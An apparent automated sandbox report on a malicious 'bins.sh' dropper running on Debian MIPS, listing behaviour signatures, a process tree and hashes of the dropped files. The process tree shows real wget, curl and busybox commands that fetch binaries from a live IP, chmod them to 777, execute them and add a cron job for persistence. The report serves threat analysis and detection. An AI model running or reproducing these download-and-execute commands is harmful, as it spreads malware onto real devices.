Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    09-11-2024 14:47

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    98ea8d25a8c60fccde5438d8bf5ba354

  • SHA1

    7a43e84359c15813811551a39082b6554f68aa4f

  • SHA256

    7d5ad7e7a8039897497a1455116d634fce3679e95c41f4d6cd41ec9ae5a5432a

  • SHA512

    f575df135fbcd30f422a6c454e83d15c7013d744655490a4f4212d4a322721a7e058cdb86ff42dce19219c470d03c971b2266aa40bd90ce6a91530c7f3dab1d7

  • SSDEEP

    192:w/R/1/Iz/zU1ubByo1JC7jUYg8X/Iobss4/R/1/Iz/zRbig8X/IoM1JC7jB:w5dkw1uyo1JC7jUYg8vIobO5dkIg8vIS

Malware Config

Signatures

  • Contacts a large (1775) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:706
        • /usr/bin/wget
          wget http://87.120.84.230/bins/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
          • Writes file to tmp directory
          PID:708
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
          • Writes file to tmp directory
          PID:729
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
          • Writes file to tmp directory
          PID:734
        • /bin/chmod
          chmod 777 PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
          • File and Directory Permissions Modification
          PID:735
        • /tmp/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          ./PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
          • Executes dropped EXE
          PID:736
        • /bin/rm
          rm PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://87.120.84.230/bins/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
            2⤵
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
            2⤵
            • Writes file to tmp directory
            PID:740
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
            2⤵
            • Writes file to tmp directory
            PID:741
          • /bin/chmod
            chmod 777 RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
            2⤵
            • File and Directory Permissions Modification
            PID:742
          • /tmp/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
            ./RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
            2⤵
            • Executes dropped EXE
            PID:743
          • /bin/rm
            rm RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
            2⤵
              PID:745
            • /usr/bin/wget
              wget http://87.120.84.230/bins/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
              2⤵
              • Writes file to tmp directory
              PID:746
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
              2⤵
              • Writes file to tmp directory
              PID:747
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
              2⤵
              • Writes file to tmp directory
              PID:753
            • /bin/chmod
              chmod 777 lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
              2⤵
              • File and Directory Permissions Modification
              PID:760
            • /tmp/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
              ./lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
              2⤵
              • Executes dropped EXE
              PID:761
            • /bin/rm
              rm lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5
              2⤵
                PID:765
              • /usr/bin/wget
                wget http://87.120.84.230/bins/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
                2⤵
                • Writes file to tmp directory
                PID:766
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
                2⤵
                • Writes file to tmp directory
                PID:776
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
                2⤵
                • Writes file to tmp directory
                PID:788
              • /bin/chmod
                chmod 777 2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
                2⤵
                • File and Directory Permissions Modification
                PID:796
              • /tmp/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
                ./2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
                2⤵
                • Executes dropped EXE
                PID:797
              • /bin/rm
                rm 2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW
                2⤵
                  PID:802
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
                  2⤵
                  • Writes file to tmp directory
                  PID:803
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
                  2⤵
                  • Writes file to tmp directory
                  PID:806
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
                  2⤵
                  • Writes file to tmp directory
                  PID:807
                • /bin/chmod
                  chmod 777 xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
                  2⤵
                  • File and Directory Permissions Modification
                  PID:808
                • /tmp/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
                  ./xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
                  2⤵
                  • Executes dropped EXE
                  PID:809
                • /bin/rm
                  rm xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz
                  2⤵
                    PID:811
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
                    2⤵
                    • Writes file to tmp directory
                    PID:812
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
                    2⤵
                    • Writes file to tmp directory
                    PID:813
                  • /bin/busybox
                    /bin/busybox wget http://87.120.84.230/bins/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
                    2⤵
                    • Writes file to tmp directory
                    PID:814
                  • /bin/chmod
                    chmod 777 3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
                    2⤵
                    • File and Directory Permissions Modification
                    PID:819
                  • /tmp/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
                    ./3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
                    2⤵
                    • Executes dropped EXE
                    PID:820
                  • /bin/rm
                    rm 3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu
                    2⤵
                      PID:823
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
                      2⤵
                      • Writes file to tmp directory
                      PID:824
                    • /usr/bin/curl
                      curl -O http://87.120.84.230/bins/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
                      2⤵
                      • Writes file to tmp directory
                      PID:835
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
                      2⤵
                      • Writes file to tmp directory
                      PID:847
                    • /bin/chmod
                      chmod 777 j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
                      2⤵
                      • File and Directory Permissions Modification
                      PID:852
                    • /tmp/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
                      ./j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
                      2⤵
                      • Executes dropped EXE
                      PID:853
                    • /bin/rm
                      rm j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD
                      2⤵
                        PID:855
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
                        2⤵
                        • Writes file to tmp directory
                        PID:856
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
                        2⤵
                        • Writes file to tmp directory
                        PID:857
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
                        2⤵
                        • Writes file to tmp directory
                        PID:858
                      • /bin/chmod
                        chmod 777 tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
                        2⤵
                        • File and Directory Permissions Modification
                        PID:859
                      • /tmp/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
                        ./tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
                        2⤵
                        • Executes dropped EXE
                        PID:860
                      • /bin/rm
                        rm tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg
                        2⤵
                          PID:862
                        • /usr/bin/wget
                          wget http://87.120.84.230/bins/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
                          2⤵
                          • Writes file to tmp directory
                          PID:866
                        • /usr/bin/curl
                          curl -O http://87.120.84.230/bins/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
                          2⤵
                          • Writes file to tmp directory
                          PID:867
                        • /bin/busybox
                          /bin/busybox wget http://87.120.84.230/bins/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
                          2⤵
                          • Writes file to tmp directory
                          PID:868
                        • /bin/chmod
                          chmod 777 fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
                          2⤵
                          • File and Directory Permissions Modification
                          PID:869
                        • /tmp/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
                          ./fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
                          2⤵
                          • Executes dropped EXE
                          PID:870
                        • /bin/rm
                          rm fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw
                          2⤵
                            PID:872
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
                            2⤵
                            • Writes file to tmp directory
                            PID:873
                          • /usr/bin/curl
                            curl -O http://87.120.84.230/bins/qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
                            2⤵
                            • Writes file to tmp directory
                            PID:874
                          • /bin/busybox
                            /bin/busybox wget http://87.120.84.230/bins/qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
                            2⤵
                            • Writes file to tmp directory
                            PID:875
                          • /bin/chmod
                            chmod 777 qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
                            2⤵
                            • File and Directory Permissions Modification
                            PID:876
                          • /tmp/qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
                            ./qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
                            2⤵
                            • Executes dropped EXE
                            • Renames itself
                            • Reads runtime system information
                            PID:877
                            • /bin/sh
                              sh -c "crontab -l"
                              3⤵
                                PID:879
                                • /usr/bin/crontab
                                  crontab -l
                                  4⤵
                                    PID:880
                                • /bin/sh
                                  sh -c "crontab -"
                                  3⤵
                                    PID:881
                                    • /usr/bin/crontab
                                      crontab -
                                      4⤵
                                      • Creates/modifies Cron job
                                      PID:882
                                • /bin/rm
                                  rm qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB
                                  2⤵
                                    PID:884
                                  • /usr/bin/wget
                                    wget http://87.120.84.230/bins/AraaNs6rHzqSDzsUhLOeeFsOsbg6PxazO2
                                    2⤵
                                      PID:887

                                  Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • /tmp/2BkcRt9likIjRh8QY2MQF6uprmyKtaXkDW

                                    Filesize

                                    119KB

                                    MD5

                                    1b166b95f9cb4b079ef1b9ec8363ddf3

                                    SHA1

                                    0d8eb08add467b3b5474f9b25909297fe7c2839c

                                    SHA256

                                    94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                    SHA512

                                    983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                  • /tmp/3HF0hS4P2TAhQbd2f9gQwJqusMLjssLEuu

                                    Filesize

                                    111KB

                                    MD5

                                    ca897a38f23ec23521ce0b1b83f8422d

                                    SHA1

                                    b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                    SHA256

                                    043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                    SHA512

                                    10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                  • /tmp/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW

                                    Filesize

                                    112KB

                                    MD5

                                    05d7857dcead18bbd86d2935f591873c

                                    SHA1

                                    34d18f41ef35f93d5364ce3e24d74730a4e91985

                                    SHA256

                                    2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                    SHA512

                                    d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                  • /tmp/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci

                                    Filesize

                                    98KB

                                    MD5

                                    5141342d0df8699fa32a6b066a0c592e

                                    SHA1

                                    8157673225bd5182f16215e2aa823a25ca2d4fbc

                                    SHA256

                                    54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                    SHA512

                                    d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                  • /tmp/fpfSoKKUXKadIoaq7D6BIQPdnf3FZgmZdw

                                    Filesize

                                    151KB

                                    MD5

                                    3c90d5820bddcf7c5d1bd21dfa49d958

                                    SHA1

                                    5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                    SHA256

                                    bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                    SHA512

                                    54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                  • /tmp/j6ia1brhTeQgT27FnW7Ps5axQZ6O1WoYCD

                                    Filesize

                                    177KB

                                    MD5

                                    786d75a158fe731feca3880f436082c0

                                    SHA1

                                    79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                    SHA256

                                    5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                    SHA512

                                    7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                  • /tmp/lH0kGjseMzL73jFo6nsq2lmprj57zQmQC5

                                    Filesize

                                    141KB

                                    MD5

                                    3ca8decdb1e52c423c521bfff02ac200

                                    SHA1

                                    8621ecd6807109b8541912ad9e134f6fb49bfd48

                                    SHA256

                                    dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                    SHA512

                                    b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                  • /tmp/qkYvIWEAuz1x8GMnhMa68UeBjPlZ48i7fB

                                    Filesize

                                    151KB

                                    MD5

                                    6c583043d91c55aa470c08c87058e917

                                    SHA1

                                    abf65a5b9bba69980278ad09356e53de8bb89439

                                    SHA256

                                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                    SHA512

                                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                  • /tmp/tR4hkNqLuRv7ZCH8r8C45pKPAAEe5RxGLg

                                    Filesize

                                    127KB

                                    MD5

                                    89077b7bd4bcafca7713be43635c4862

                                    SHA1

                                    fc02edb8fba29ea8ee99e6157ef8560334530052

                                    SHA256

                                    78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                    SHA512

                                    1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                  • /tmp/xA5sCK1OL7b2ZyFzjuChRqM2VxOizPWffz

                                    Filesize

                                    111KB

                                    MD5

                                    701e7a55a4f3650f5feee92a9860e5fc

                                    SHA1

                                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                    SHA256

                                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                    SHA512

                                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                  • /var/spool/cron/crontabs/tmp.c9yu4m

                                    Filesize

                                    210B

                                    MD5

                                    86785b94525a9d4d39b1706a4c329053

                                    SHA1

                                    3de1ce65a242dbcb5b5e86c370017f7d1d7fbde8

                                    SHA256

                                    9c3f32929ee5434018469a572a7234b40573eef077000a5504b61070f8ed6f07

                                    SHA512

                                    ef2d33ae913de9d638bd25c35010d506aa87a0d7747b751fd016fbf8c47070a3ff6f88d22e578e22cc234f284072edd870ac37e82690955974920708819332ca